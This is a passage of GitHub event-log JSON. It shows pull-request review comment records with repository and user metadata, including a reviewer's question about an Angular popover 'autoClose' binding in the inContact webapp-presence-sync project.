ard-University-iCommons/canvas_account_admin_tools/contents/{+path}","compare_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/merges","archive_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/downloads","issues_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues{/number}","pulls_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls{/number}","milestones_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/milestones{/number}","notifications_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/labels{/name}","releases_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/releases{/id}","deployments_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/deployments","created_at":"2015-09-28T19:25:52Z","updated_at":"2019-03-13T14:21:48Z","pushed_at":"2019-04-23T16:16:10Z","git_url":"git://github.com/Harvard-University-iCommons/canvas_account_admin_tools.git","ssh_url":"git@github.com:Harvard-University-iCommons/canvas_account_admin_tools.git","clone_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools.git","svn_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools","homepage":null,"size":31712,"stargazers_count":2,"watchers_count":2,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":null,"forks":1,"open_issues":1,"watchers":2,"default_branch":"develop"}},"base":{"label":"Harvard-University-iCommons:develop","ref":"develop","sha":"c5d2ef2c7358959ec5ca48836d97af0271b2f2b8","user":{"login":"Harvard-University-iCommons","id":1083915,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODM5MTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1083915?v=4","gravatar_id":"","url":"https://api.github.com/users/Harvard-University-iCommons","html_url":"https://github.com/Harvard-University-iCommons","followers_url":"https://api.github.com/users/Harvard-University-iCommons/followers","following_url":"https://api.github.com/users/Harvard-University-iCommons/following{/other_user}","gists_url":"https://api.github.com/users/Harvard-University-iCommons/gists{/gist_id}","starred_url":"https://api.github.com/users/Harvard-University-iCommons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Harvard-University-iCommons/subscriptions","organizations_url":"https://api.github.com/users/Harvard-University-iCommons/orgs","repos_url":"https://api.github.com/users/Harvard-University-iCommons/repos","events_url":"https://api.github.com/users/Harvard-University-iCommons/events{/privacy}","received_events_url":"https://api.github.com/users/Harvard-University-iCommons/received_events","type":"Organization","site_admin":false},"repo":{"id":43321944,"node_id":"MDEwOlJlcG9zaXRvcnk0MzMyMTk0NA==","name":"canvas_account_admin_tools","full_name":"Harvard-University-iCommons/canvas_account_admin_tools","private":false,"owner":{"login":"Harvard-University-iCommons","id":1083915,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODM5MTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1083915?v=4","gravatar_id":"","url":"https://api.github.com/users/Harvard-University-iCommons","html_url":"https://github.com/Harvard-University-iCommons","followers_url":"https://api.github.com/users/Harvard-University-iCommons/followers","following_url":"https://api.github.com/users/Harvard-University-iCommons/following{/other_user}","gists_url":"https://api.github.com/users/Harvard-University-iCommons/gists{/gist_id}","starred_url":"https://api.github.com/users/Harvard-University-iCommons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Harvard-University-iCommons/subscriptions","organizations_url":"https://api.github.com/users/Harvard-University-iCommons/orgs","repos_url":"https://api.github.com/users/Harvard-University-iCommons/repos","events_url":"https://api.github.com/users/Harvard-University-iCommons/events{/privacy}","received_events_url":"https://api.github.com/users/Harvard-University-iCommons/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools","description":null,"fork":false,"url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools","forks_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/forks","keys_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/teams","hooks_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/hooks","issue_events_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/events{/number}","events_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/events","assignees_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/assignees{/user}","branches_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/branches{/branch}","tags_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/tags","blobs_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/statuses/{sha}","languages_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/languages","stargazers_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/stargazers","contributors_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/contributors","subscribers_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/subscribers","subscription_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/subscription","commits_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/comments{/number}","contents_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/contents/{+path}","compare_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/merges","archive_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/downloads","issues_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues{/number}","pulls_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls{/number}","milestones_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/milestones{/number}","notifications_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/labels{/name}","releases_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/releases{/id}","deployments_url":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/deployments","created_at":"2015-09-28T19:25:52Z","updated_at":"2019-03-13T14:21:48Z","pushed_at":"2019-04-23T16:16:10Z","git_url":"git://github.com/Harvard-University-iCommons/canvas_account_admin_tools.git","ssh_url":"git@github.com:Harvard-University-iCommons/canvas_account_admin_tools.git","clone_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools.git","svn_url":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools","homepage":null,"size":31712,"stargazers_count":2,"watchers_count":2,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":null,"forks":1,"open_issues":1,"watchers":2,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268"},"html":{"href":"https://github.com/Harvard-University-iCommons/canvas_account_admin_tools/pull/268"},"issue":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/268"},"comments":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/issues/268/comments"},"review_comments":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268/comments"},"review_comment":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/pulls/268/commits"},"statuses":{"href":"https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools/statuses/c58cfa33575a5ad74ecec698a4ecdd2f5d6b7c43"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 43321944,
"name": "Harvard-University-iCommons/canvas_account_admin_tools",
"url": "https://api.github.com/repos/Harvard-University-iCommons/canvas_account_admin_tools"
}
|
{
"id": 28874174,
"login": "Chris-Thornton-Harvard",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/28874174?",
"url": "https://api.github.com/users/Chris-Thornton-Harvard"
}
|
{
"id": 1083915,
"login": "Harvard-University-iCommons",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1083915?",
"url": "https://api.github.com/orgs/Harvard-University-iCommons"
}
| 2019-04-23T18:35:50 |
9496275519
|
{"actor":{"display_login":"Chris-Thornton-Harvard"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/comments/288859307","pull_request_review_id":243626059,"id":288859307,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI4ODg1OTMwNw==","diff_hunk":"@@ -1,13 +1,41 @@\n <ng-template #popContent>\n- <div (click)=\"showPopover()\" id=\"deactivate-popover-partner\" *ngIf=\"setActivate\">\n+ <div id=\"deactivate-popover-partner\" *ngIf=\"setActivate\"\n+ [ngbPopover]=\"popConfirmationContent\"\n+ popoverClass=\"confirmation-popup tooltip-popover-style bottom\"\n+ triggers=\"manual\"\n+ placement=\"bottom\"\n+ [autoClose]=\"'outside'\"","path":"src/app/partner/partner-grid/actions/actions.component.html","position":8,"original_position":8,"commit_id":"9449687266fc625840246c14b6ad2a396a00a4f0","original_commit_id":"9449687266fc625840246c14b6ad2a396a00a4f0","user":{"login":"akash-nema-incontact","id":43980486,"node_id":"MDQ6VXNlcjQzOTgwNDg2","avatar_url":"https://avatars2.githubusercontent.com/u/43980486?v=4","gravatar_id":"","url":"https://api.github.com/users/akash-nema-incontact","html_url":"https://github.com/akash-nema-incontact","followers_url":"https://api.github.com/users/akash-nema-incontact/followers","following_url":"https://api.github.com/users/akash-nema-incontact/following{/other_user}","gists_url":"https://api.github.com/users/akash-nema-incontact/gists{/gist_id}","starred_url":"https://api.github.com/users/akash-nema-incontact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akash-nema-incontact/subscriptions","organizations_url":"https://api.github.com/users/akash-nema-incontact/orgs","repos_url":"https://api.github.com/users/akash-nema-incontact/repos","events_url":"https://api.github.com/users/akash-nema-incontact/events{/privacy}","received_events_url":"https://api.github.com/users/akash-nema-incontact/received_events","type":"User","site_admin":false},"body":"is this intentional ? It could be \"outside\"","created_at":"2019-05-30T05:06:25Z","updated_at":"2019-05-30T05:08:47Z","html_url":"https://github.com/inContact/webapp-presence-sync/pull/189#discussion_r288859307","pull_request_url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/comments/288859307"},"html":{"href":"https://github.com/inContact/webapp-presence-sync/pull/189#discussion_r288859307"},"pull_request":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189"}}},"pull_request":{"url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189","id":283503630,"node_id":"MDExOlB1bGxSZXF1ZXN0MjgzNTAzNjMw","html_url":"https://github.com/inContact/webapp-presence-sync/pull/189","diff_url":"https://github.com/inContact/webapp-presence-sync/pull/189.diff","patch_url":"https://github.com/inContact/webapp-presence-sync/pull/189.patch","issue_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/189","number":189,"state":"closed","locked":false,"title":"Ui grid","user":{"login":"Susmith-roy-incontact","id":44960030,"node_id":"MDQ6VXNlcjQ0OTYwMDMw","avatar_url":"https://avatars3.githubusercontent.com/u/44960030?v=4","gravatar_id":"","url":"https://api.github.com/users/Susmith-roy-incontact","html_url":"https://github.com/Susmith-roy-incontact","followers_url":"https://api.github.com/users/Susmith-roy-incontact/followers","following_url":"https://api.github.com/users/Susmith-roy-incontact/following{/other_user}","gists_url":"https://api.github.com/users/Susmith-roy-incontact/gists{/gist_id}","starred_url":"https://api.github.com/users/Susmith-roy-incontact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Susmith-roy-incontact/subscriptions","organizations_url":"https://api.github.com/users/Susmith-roy-incontact/orgs","repos_url":"https://api.github.com/users/Susmith-roy-incontact/repos","events_url":"https://api.github.com/users/Susmith-roy-incontact/events{/privacy}","received_events_url":"https://api.github.com/users/Susmith-roy-incontact/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-05-30T03:32:40Z","updated_at":"2019-05-30T05:08:47Z","closed_at":"2019-05-30T05:08:22Z","merged_at":"2019-05-30T05:08:22Z","merge_commit_sha":"0a848064624e7c61659eff68fc12376822d330d8","assignee":null,"assignees":[],"requested_reviewers":[{"login":"KMayuri25","id":43137387,"node_id":"MDQ6VXNlcjQzMTM3Mzg3","avatar_url":"https://avatars0.githubusercontent.com/u/43137387?v=4","gravatar_id":"","url":"https://api.github.com/users/KMayuri25","html_url":"https://github.com/KMayuri25","followers_url":"https://api.github.com/users/KMayuri25/followers","following_url":"https://api.github.com/users/KMayuri25/following{/other_user}","gists_url":"https://api.github.com/users/KMayuri25/gists{/gist_id}","starred_url":"https://api.github.com/users/KMayuri25/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KMayuri25/subscriptions","organizations_url":"https://api.github.com/users/KMayuri25/orgs","repos_url":"https://api.github.com/users/KMayuri25/repos","events_url":"https://api.github.com/users/KMayuri25/events{/privacy}","received_events_url":"https://api.github.com/users/KMayuri25/received_events","type":"User","site_admin":false},{"login":"pooja-koul-incontact","id":43168660,"node_id":"MDQ6VXNlcjQzMTY4NjYw","avatar_url":"https://avatars0.githubusercontent.com/u/43168660?v=4","gravatar_id":"","url":"https://api.github.com/users/pooja-koul-incontact","html_url":"https://github.com/pooja-koul-incontact","followers_url":"https://api.github.com/users/pooja-koul-incontact/followers","following_url":"https://api.github.com/users/pooja-koul-incontact/following{/other_user}","gists_url":"https://api.github.com/users/pooja-koul-incontact/gists{/gist_id}","starred_url":"https://api.github.com/users/pooja-koul-incontact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pooja-koul-incontact/subscriptions","organizations_url":"https://api.github.com/users/pooja-koul-incontact/orgs","repos_url":"https://api.github.com/users/pooja-koul-incontact/repos","events_url":"https://api.github.com/users/pooja-koul-incontact/events{/privacy}","received_events_url":"https://api.github.com/users/pooja-koul-incontact/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189/commits","review_comments_url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189/comments","review_comment_url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/comments{/number}","comments_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/189/comments","statuses_url":"https://api.github.com/repos/inContact/webapp-presence-sync/statuses/9449687266fc625840246c14b6ad2a396a00a4f0","head":{"label":"inContact:UiGrid","ref":"UiGrid","sha":"9449687266fc625840246c14b6ad2a396a00a4f0","user":{"login":"inContact","id":1088855,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODg4NTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1088855?v=4","gravatar_id":"","url":"https://api.github.com/users/inContact","html_url":"https://github.com/inContact","followers_url":"https://api.github.com/users/inContact/followers","following_url":"https://api.github.com/users/inContact/following{/other_user}","gists_url":"https://api.github.com/users/inContact/gists{/gist_id}","starred_url":"https://api.github.com/users/inContact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inContact/subscriptions","organizations_url":"https://api.github.com/users/inContact/orgs","repos_url":"https://api.github.com/users/inContact/repos","events_url":"https://api.github.com/users/inContact/events{/privacy}","received_events_url":"https://api.github.com/users/inContact/received_events","type":"Organization","site_admin":false},"repo":{"id":152053942,"node_id":"MDEwOlJlcG9zaXRvcnkxNTIwNTM5NDI=","name":"webapp-presence-sync","full_name":"inContact/webapp-presence-sync","private":false,"owner":{"login":"inContact","id":1088855,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODg4NTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1088855?v=4","gravatar_id":"","url":"https://api.github.com/users/inContact","html_url":"https://github.com/inContact","followers_url":"https://api.github.com/users/inContact/followers","following_url":"https://api.github.com/users/inContact/following{/other_user}","gists_url":"https://api.github.com/users/inContact/gists{/gist_id}","starred_url":"https://api.github.com/users/inContact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inContact/subscriptions","organizations_url":"https://api.github.com/users/inContact/orgs","repos_url":"https://api.github.com/users/inContact/repos","events_url":"https://api.github.com/users/inContact/events{/privacy}","received_events_url":"https://api.github.com/users/inContact/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/inContact/webapp-presence-sync","description":"webapp-presence-sync","fork":false,"url":"https://api.github.com/repos/inContact/webapp-presence-sync","forks_url":"https://api.github.com/repos/inContact/webapp-presence-sync/forks","keys_url":"https://api.github.com/repos/inContact/webapp-presence-sync/keys{/key_id}","collaborators_url":"https://api.github.com/repos/inContact/webapp-presence-sync/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/inContact/webapp-presence-sync/teams","hooks_url":"https://api.github.com/repos/inContact/webapp-presence-sync/hooks","issue_events_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/events{/number}","events_url":"https://api.github.com/repos/inContact/webapp-presence-sync/events","assignees_url":"https://api.github.com/repos/inContact/webapp-presence-sync/assignees{/user}","branches_url":"https://api.github.com/repos/inContact/webapp-presence-sync/branches{/branch}","tags_url":"https://api.github.com/repos/inContact/webapp-presence-sync/tags","blobs_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/refs{/sha}","trees_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/trees{/sha}","statuses_url":"https://api.github.com/repos/inContact/webapp-presence-sync/statuses/{sha}","languages_url":"https://api.github.com/repos/inContact/webapp-presence-sync/languages","stargazers_url":"https://api.github.com/repos/inContact/webapp-presence-sync/stargazers","contributors_url":"https://api.github.com/repos/inContact/webapp-presence-sync/contributors","subscribers_url":"https://api.github.com/repos/inContact/webapp-presence-sync/subscribers","subscription_url":"https://api.github.com/repos/inContact/webapp-presence-sync/subscription","commits_url":"https://api.github.com/repos/inContact/webapp-presence-sync/commits{/sha}","git_commits_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/commits{/sha}","comments_url":"https://api.github.com/repos/inContact/webapp-presence-sync/comments{/number}","issue_comment_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/comments{/number}","contents_url":"https://api.github.com/repos/inContact/webapp-presence-sync/contents/{+path}","compare_url":"https://api.github.com/repos/inContact/webapp-presence-sync/compare/{base}...{head}","merges_url":"https://api.github.com/repos/inContact/webapp-presence-sync/merges","archive_url":"https://api.github.com/repos/inContact/webapp-presence-sync/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/inContact/webapp-presence-sync/downloads","issues_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues{/number}","pulls_url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls{/number}","milestones_url":"https://api.github.com/repos/inContact/webapp-presence-sync/milestones{/number}","notifications_url":"https://api.github.com/repos/inContact/webapp-presence-sync/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/inContact/webapp-presence-sync/labels{/name}","releases_url":"https://api.github.com/repos/inContact/webapp-presence-sync/releases{/id}","deployments_url":"https://api.github.com/repos/inContact/webapp-presence-sync/deployments","created_at":"2018-10-08T09:33:44Z","updated_at":"2019-05-30T05:08:24Z","pushed_at":"2019-05-30T05:08:22Z","git_url":"git://github.com/inContact/webapp-presence-sync.git","ssh_url":"git@github.com:inContact/webapp-presence-sync.git","clone_url":"https://github.com/inContact/webapp-presence-sync.git","svn_url":"https://github.com/inContact/webapp-presence-sync","homepage":null,"size":16865,"stargazers_count":0,"watchers_count":0,"language":"TypeScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":null,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"inContact:master","ref":"master","sha":"e57c7a94c54bb55d216864405446a45a4d1ef13f","user":{"login":"inContact","id":1088855,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODg4NTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1088855?v=4","gravatar_id":"","url":"https://api.github.com/users/inContact","html_url":"https://github.com/inContact","followers_url":"https://api.github.com/users/inContact/followers","following_url":"https://api.github.com/users/inContact/following{/other_user}","gists_url":"https://api.github.com/users/inContact/gists{/gist_id}","starred_url":"https://api.github.com/users/inContact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inContact/subscriptions","organizations_url":"https://api.github.com/users/inContact/orgs","repos_url":"https://api.github.com/users/inContact/repos","events_url":"https://api.github.com/users/inContact/events{/privacy}","received_events_url":"https://api.github.com/users/inContact/received_events","type":"Organization","site_admin":false},"repo":{"id":152053942,"node_id":"MDEwOlJlcG9zaXRvcnkxNTIwNTM5NDI=","name":"webapp-presence-sync","full_name":"inContact/webapp-presence-sync","private":false,"owner":{"login":"inContact","id":1088855,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwODg4NTU=","avatar_url":"https://avatars2.githubusercontent.com/u/1088855?v=4","gravatar_id":"","url":"https://api.github.com/users/inContact","html_url":"https://github.com/inContact","followers_url":"https://api.github.com/users/inContact/followers","following_url":"https://api.github.com/users/inContact/following{/other_user}","gists_url":"https://api.github.com/users/inContact/gists{/gist_id}","starred_url":"https://api.github.com/users/inContact/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inContact/subscriptions","organizations_url":"https://api.github.com/users/inContact/orgs","repos_url":"https://api.github.com/users/inContact/repos","events_url":"https://api.github.com/users/inContact/events{/privacy}","received_events_url":"https://api.github.com/users/inContact/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/inContact/webapp-presence-sync","description":"webapp-presence-sync","fork":false,"url":"https://api.github.com/repos/inContact/webapp-presence-sync","forks_url":"https://api.github.com/repos/inContact/webapp-presence-sync/forks","keys_url":"https://api.github.com/repos/inContact/webapp-presence-sync/keys{/key_id}","collaborators_url":"https://api.github.com/repos/inContact/webapp-presence-sync/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/inContact/webapp-presence-sync/teams","hooks_url":"https://api.github.com/repos/inContact/webapp-presence-sync/hooks","issue_events_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/events{/number}","events_url":"https://api.github.com/repos/inContact/webapp-presence-sync/events","assignees_url":"https://api.github.com/repos/inContact/webapp-presence-sync/assignees{/user}","branches_url":"https://api.github.com/repos/inContact/webapp-presence-sync/branches{/branch}","tags_url":"https://api.github.com/repos/inContact/webapp-presence-sync/tags","blobs_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/refs{/sha}","trees_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/trees{/sha}","statuses_url":"https://api.github.com/repos/inContact/webapp-presence-sync/statuses/{sha}","languages_url":"https://api.github.com/repos/inContact/webapp-presence-sync/languages","stargazers_url":"https://api.github.com/repos/inContact/webapp-presence-sync/stargazers","contributors_url":"https://api.github.com/repos/inContact/webapp-presence-sync/contributors","subscribers_url":"https://api.github.com/repos/inContact/webapp-presence-sync/subscribers","subscription_url":"https://api.github.com/repos/inContact/webapp-presence-sync/subscription","commits_url":"https://api.github.com/repos/inContact/webapp-presence-sync/commits{/sha}","git_commits_url":"https://api.github.com/repos/inContact/webapp-presence-sync/git/commits{/sha}","comments_url":"https://api.github.com/repos/inContact/webapp-presence-sync/comments{/number}","issue_comment_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/comments{/number}","contents_url":"https://api.github.com/repos/inContact/webapp-presence-sync/contents/{+path}","compare_url":"https://api.github.com/repos/inContact/webapp-presence-sync/compare/{base}...{head}","merges_url":"https://api.github.com/repos/inContact/webapp-presence-sync/merges","archive_url":"https://api.github.com/repos/inContact/webapp-presence-sync/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/inContact/webapp-presence-sync/downloads","issues_url":"https://api.github.com/repos/inContact/webapp-presence-sync/issues{/number}","pulls_url":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls{/number}","milestones_url":"https://api.github.com/repos/inContact/webapp-presence-sync/milestones{/number}","notifications_url":"https://api.github.com/repos/inContact/webapp-presence-sync/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/inContact/webapp-presence-sync/labels{/name}","releases_url":"https://api.github.com/repos/inContact/webapp-presence-sync/releases{/id}","deployments_url":"https://api.github.com/repos/inContact/webapp-presence-sync/deployments","created_at":"2018-10-08T09:33:44Z","updated_at":"2019-05-30T05:08:24Z","pushed_at":"2019-05-30T05:08:22Z","git_url":"git://github.com/inContact/webapp-presence-sync.git","ssh_url":"git@github.com:inContact/webapp-presence-sync.git","clone_url":"https://github.com/inContact/webapp-presence-sync.git","svn_url":"https://github.com/inContact/webapp-presence-sync","homepage":null,"size":16865,"stargazers_count":0,"watchers_count":0,"language":"TypeScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":null,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189"},"html":{"href":"https://github.com/inContact/webapp-presence-sync/pull/189"},"issue":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/189"},"comments":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/issues/189/comments"},"review_comments":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189/comments"},"review_comment":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/pulls/189/commits"},"statuses":{"href":"https://api.github.com/repos/inContact/webapp-presence-sync/statuses/9449687266fc625840246c14b6ad2a396a00a4f0"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 152053942,
"name": "inContact/webapp-presence-sync",
"url": "https://api.github.com/repos/inContact/webapp-presence-sync"
}
|
{
"id": 43980486,
"login": "akash-nema-incontact",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/43980486?",
"url": "https://api.github.com/users/akash-nema-incontact"
}
|
{
"id": 1088855,
"login": "inContact",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1088855?",
"url": "https://api.github.com/orgs/inContact"
}
| 2019-05-30T05:06:25 |
9724440834
|
{"actor":{"display_login":"akash-nema-incontact"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments/309234346","pull_request_review_id":269029613,"id":309234346,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwOTIzNDM0Ng==","diff_hunk":"@@ -132,7 +132,7 @@ docutils==0.14\n dogpile.cache==0.7.1\n dump2polarion==0.39.1\n 